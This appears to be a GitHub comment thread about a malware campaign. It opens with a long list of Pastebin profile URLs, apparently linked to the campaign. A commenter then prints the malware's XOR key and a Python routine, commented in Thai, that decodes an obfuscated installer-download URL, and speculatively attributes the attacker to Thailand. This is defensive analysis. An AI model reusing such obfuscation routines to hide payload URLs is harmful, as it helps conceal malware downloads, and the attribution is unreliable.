on 876: https://pastebin.com/u/ParserRevolutionary2721_SpeechProposed1798
on 877: https://pastebin.com/u/DivingSocieties8425_BaghdadMunicipalities6498
on 878: https://pastebin.com/u/DavidsonModern1514_RepliesTrucks2009
on 879: https://pastebin.com/u/OurselvesEditions1588_OrdinatorMajority6490
on 880: https://pastebin.com/u/ThrilledParaguay8851_PromotingJessica2915
on 881: https://pastebin.com/u/RockingParadigm3433_TouchingConvergence4030
on 882: https://pastebin.com/u/InsomniaCoating2114_PalestinianMonetary3479
on 883: https://pastebin.com/u/ContinuesParfum9173_BuyingAlbuquerque1069
on 884: https://pastebin.com/u/InflammatoryWilton3148_RisingConsumer8099
on 885: https://pastebin.com/u/ActorsGenerates8182_VariesSurrey4672
on 886: https://pastebin.com/u/AerospaceOptimize7108_PayingGeorgia6209
on 887: https://pastebin.com/u/KennethSoftball4491_MahoganyCorona3353
on 888: https://pastebin.com/u/ConfigurationConcerts2390_CarletonMarina5483
on 889: https://pastebin.com/u/ChangedEngines9893_IncorporateDownloadable8045
on 890: https://pastebin.com/u/TransformationsJumping4617_MechanicsAssociation7778
on 891: https://pastebin.com/u/CreatureNuclei9702_NeuralSensor6047
on 892: https://pastebin.com/u/SustainabilityRelating9908_WeblogsShopper3871
on 893: https://pastebin.com/u/ApostleDemanding4758_DownhillInvesting8715
on 894: https://pastebin.com/u/VisualizationChallenged8593_KimberlyObjective8479
on 895: https://pastebin.com/u/RheumatoidSinger8253_PaddleAchieving9651
on 896: https://pastebin.com/u/MixturesProblems1599_StevieAccepts2611
on 897: https://pastebin.com/u/CompileTimers9792_PickedLinked2815
on 898: https://pastebin.com/u/FluctuationsWorkers5738_FlowersCriticism6534
on 899: https://pastebin.com/u/ParameterLocals6333_ForwardingEmperor1996
on 900: https://pastebin.com/u/ConversationsCraigslist3314_PrintableSoonest4429
on 901: https://pastebin.com/u/RenderedTattoo6370_InvestmentPhysicians6413
on 902: https://pastebin.com/u/AttackThreatened5482_HeadsetSharing7172
on 903: https://pastebin.com/u/ForeclosureMiddle6757_BelongsDeception1654
on 904: https://pastebin.com/u/ControlsNationally7761_InfectiousBureau6421
on 905: https://pastebin.com/u/MirrorsTheories5445_HardlyAboriginal3599
on 906: https://pastebin.com/u/EmergesGuaranteed8485_AdministrationPersistence6197
on 907: https://pastebin.com/u/SynthesisStatutory2135_MoroccoCalibration2884
on 908: https://pastebin.com/u/StrengthRelation8837_TenaciousOpenid8193
on 909: https://pastebin.com/u/MitigateSunset1815_FormedHopper2651
on 910: https://pastebin.com/u/ReleasingNaples2623_FossilEnchanted6821
on 911: https://pastebin.com/u/DealerPopular4249_TraveledThickness2602
on 912: https://pastebin.com/u/WeddingAccepting4332_FunctionalityHavana2323
on 913: https://pastebin.com/u/IndicatedTelecommunication5811_GalleryStickers7911
on 914: https://pastebin.com/u/WorkshopsProjects1391_InjuryCelebrex6950
on 915: https://pastebin.com/u/BlessingsWishes8672_ComparisonBounce5710
on 916: https://pastebin.com/u/StagesPublish9956_ArrivedPostcards2651
on 917: https://pastebin.com/u/CamdenPantera1440_ChargeSurrounded5083
on 918: https://pastebin.com/u/VoucherFunding9567_IncorporateReferrals6743
on 919: https://pastebin.com/u/SpecializedPurchasing3039_ThrowingNiagara9233
on 920: https://pastebin.com/u/AlexanderScarce9793_FreshmenObservations6372
on 921: https://pastebin.com/u/RelevantProceed2788_VersionStruck7596
on 922: https://pastebin.com/u/AutomobilesCreating9532_AntibodiesTemperatures4857
on 923: https://pastebin.com/u/TerrorismPrevent1570_LikewiseExternal1956
on 924: https://pastebin.com/u/LionelMistakes2118_NewbieModerators4506
on 925: https://pastebin.com/u/ContaminantsVendor1764_ExpenditureWarfare8228
on 926: https://pastebin.com/u/DecliningPeptides3915_MachinerySkates3315
on 927: https://pastebin.com/u/ExerciseMaterially3725_QuotingMinority1746
on 928: https://pastebin.com/u/CriticalDividend2561_StocksIranian5083
on 929: https://pastebin.com/u/FastestLiverpool6155_ImprovingLookup4889
on 930: https://pastebin.com/u/ParkedPointers7815_TomatoOnwards1753
on 931: https://pastebin.com/u/ReceivingExperienced4792_CompaniesHighway7023
on 932: https://pastebin.com/u/SubsidiariesChristi8166_ManufacturersShades4133
on 933: https://pastebin.com/u/StrangerMileage4113_NoticeableFlorida2833
on 934: https://pastebin.com/u/ApartmentsApparel6634_ScoreboardKitchen7004
on 935: https://pastebin.com/u/MetricsExpressed7949_AssumptionsAfternoon5551
on 936: https://pastebin.com/u/BenefitSudbury1104_ValidationNationalism2183
on 937: https://pastebin.com/u/BulletinLolita2642_PropeciaHardware5022
on 938: https://pastebin.com/u/ShipmentCorrupt8140_PrecedingAccomplishment7913
on 939: https://pastebin.com/u/CarriesAuthority4478_ConsumerMunicipal6722
on 940: https://pastebin.com/u/SponsorsEvaluations6484_PinballKuwait3346
on 941: https://pastebin.com/u/AntillesMunich7634_GarbageCellphone4496
on 942: https://pastebin.com/u/VacanciesRequirements8018_DerivedBeirut5960
on 943: https://pastebin.com/u/ThrowsPlayers1114_RehabilitationTreasurer1815
on 944: https://pastebin.com/u/AnalystsAttack7901_RefundTransportation9130
on 945: https://pastebin.com/u/InpatientIntentionally5356_ProducerRelying6722
on 946: https://pastebin.com/u/SapphireGetaways6783_NutritionCheese9931
on 947: https://pastebin.com/u/TripleDominion2256_LiberalVarying8405
on 948: https://pastebin.com/u/ThesaurusFurnace7608_PlaybackWorship4108
on 949: https://pastebin.com/u/FinallyConcessions6359_AppliesLiteracy5969
on 950: https://pastebin.com/u/EncounterBellsouth9065_AlabamaHonours3558
on 951: https://pastebin.com/u/PlungeMedication9153_BesidesSearchsearch4573
on 952: https://pastebin.com/u/ChiropracticIsraeli4338_LexmarkSkiing4765
on 953: https://pastebin.com/u/BewareHouston7350_OpportunitiesIdeally1441
on 954: https://pastebin.com/u/InvalidUnlikely1844_ThreadConfigurable8194
on 955: https://pastebin.com/u/AbortionDonors8562_ZshopsEfficiency7129
on 956: https://pastebin.com/u/TopicalRefrigerator1329_EarnedToddlers3178
on 957: https://pastebin.com/u/MothersCorrection4461_KeywordsRetention8182
on 958: https://pastebin.com/u/ConsolidationRangers3358_ContactedPolicing3561
on 959: https://pastebin.com/u/CountdownLinkages6414_TwilightCharged8358
on 960: https://pastebin.com/u/CommunityCities6875_ChryslerEncyclopedia5784
on 961: https://pastebin.com/u/MotorsportsIndigenous3271_MariahChemicals5954
on 962: https://pastebin.com/u/ProtectiveKilling2179_SampledDetainees2877
on 963: https://pastebin.com/u/YieldedMiracle8418_CleanersCrimson9351
on 964: https://pastebin.com/u/BernardinoRedirect1972_BelongFreebsd5110
on 965: https://pastebin.com/u/SuzukiChinatown1110_BelgradePermits9001
on 966: https://pastebin.com/u/StickingForgot1205_SpacedOptimization4389
on 967: https://pastebin.com/u/PowersellerAgents7780_PiercingShortcut8364
on 968: https://pastebin.com/u/StressedStimulation4160_GrahamAnything9753
on 969: https://pastebin.com/u/AccessibilityListen2398_BreathingRejected8928
on 970: https://pastebin.com/u/DamagesTitanic3772_PharmacyEpiscopal2104
on 971: https://pastebin.com/u/PanamaArrive7501_NewfoundlandSequel6196
on 972: https://pastebin.com/u/WishesArrangements6205_RewriteForces3427
on 973: https://pastebin.com/u/VersusAffect8293_TheretoIncreasingly6518
on 974: https://pastebin.com/u/ReformedMauritania4718_PistolsStrings9411
on 975: https://pastebin.com/u/CheatsTribune9668_FacilitatedBasins3749
on 976: https://pastebin.com/u/CreationBlogging3187_RemarkableAppointment8635
on 977: https://pastebin.com/u/EncodingMarked5626_ThroughSubsidiary4007
on 978: https://pastebin.com/u/ExpressionsConference3580_FemaleSupplied9102
on 979: https://pastebin.com/u/SimplyTestify4553_StructMechanisms5229
on 980: https://pastebin.com/u/ChairsFashionable5943_LovelyPackages7254
on 981: https://pastebin.com/u/GroovyIndependent2646_SebastianDriven4152
on 982: https://pastebin.com/u/RefundableBladder5726_MetricStruggles9076
on 983: https://pastebin.com/u/GeometricAsthma6060_LicenceNathan6209
on 984: https://pastebin.com/u/AccidentDeutsch4525_AsylumSimple8237
on 985: https://pastebin.com/u/CialisServices8015_ThanksgivingBerlios6597
on 986: https://pastebin.com/u/MinistersClasses2954_AffectedFishing1704
on 987: https://pastebin.com/u/DisciplineChrome6336_KindergartenPhilip9679
on 988: https://pastebin.com/u/MeasuredRelationship6819_OccupancyExemplary6131
on 989: https://pastebin.com/u/DebuggerFeeders8576_HerefordAbandoned2753
on 990: https://pastebin.com/u/PrisonWallace1662_ReleaseGadgets3333
on 991: https://pastebin.com/u/PlanetsArnold9240_WorkshopChrist2651
on 992: https://pastebin.com/u/KennedyGovernments5193_HorizonCulturally7034
on 993: https://pastebin.com/u/GradualEnlarged6188_OptionalNegotiation2627
on 994: https://pastebin.com/u/RelianceWarranties6603_GeorgetownWrought5786
on 995: https://pastebin.com/u/TranslateStrengthened5891_FormatConsistency2267
on 996: https://pastebin.com/u/TemperaturesVisually3782_OpposingMalcolm5796
on 997: https://pastebin.com/u/TalentedAirsoft5441_DetectionMinnesota3641
on 998: https://pastebin.com/u/TrendsComponents5435_DemonstrateCollectible2038
on 999: https://pastebin.com/u/ArizonaHeavily4375_GermanMessages4439

@AdityaMitra5102

AdityaMitra5102 commented Nov 27, 2024

Copy link
Copy Markdown

I have reasons to believe the attacker is from Thailand. The code uses an encryption key

 XOR_KEY = b"!!!HappyPenguin1950!!!"

And searching up that key leads to https://www.traff.co/en/services/text-host?id=16749

Which shows

import binascii
import base64
# ฟังก์ชันเข้ารหัส XOR
def xor_encrypt(text: bytes):
    XOR_KEY = b"!!!HappyPenguin1950!!!"
    encrypted_text = bytearray()
    for i in range(len(text)):
        encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
    return bytes(encrypted_text)
# ฟังก์ชันถอดรหัส XOR (ใช้การเข้ารหัสแบบ XOR ซ้ำเพื่อถอดรหัส)
def xor_decrypt(text: bytes):
    return xor_encrypt(text)
# ฟังก์ชันถอดรหัสข้อมูล
def decode(encoded: str) -> str:
    encoded_bytes = binascii.unhexlify(encoded)
    encoded_bytes = xor_decrypt(encoded_bytes)
    decoded_str = base64.b64decode(encoded_bytes).decode()
    return decoded_str[::-1]
def get_decoded_urls():
    URLS = [
        "6e75647c2e3822160a57020b115a245d5d5e094d4376184b7b1d2b163d2d0156230a271a0c036345524c676f7b76103e021d183d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
    ]
    decoded_urls = []
    for url in URLS:
        decoded_urls.append(decode(url))
    return decoded_urls
def download_installer_url() -> str:
    decoded_urls = get_decoded_urls()
    return decoded_urls[0]
# ทดสอบการถอดรหัส
if __name__ == "__main__":
    print("Decoded URLs:", get_decoded_urls())

This code is the exact smippet of what is used in that chunk is probably by the same author. Because the way the key is defined in middle of !!..!! is the same as how the quote in the beginning of the file is written.

Now I put those comments in google translate and its in Thai.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment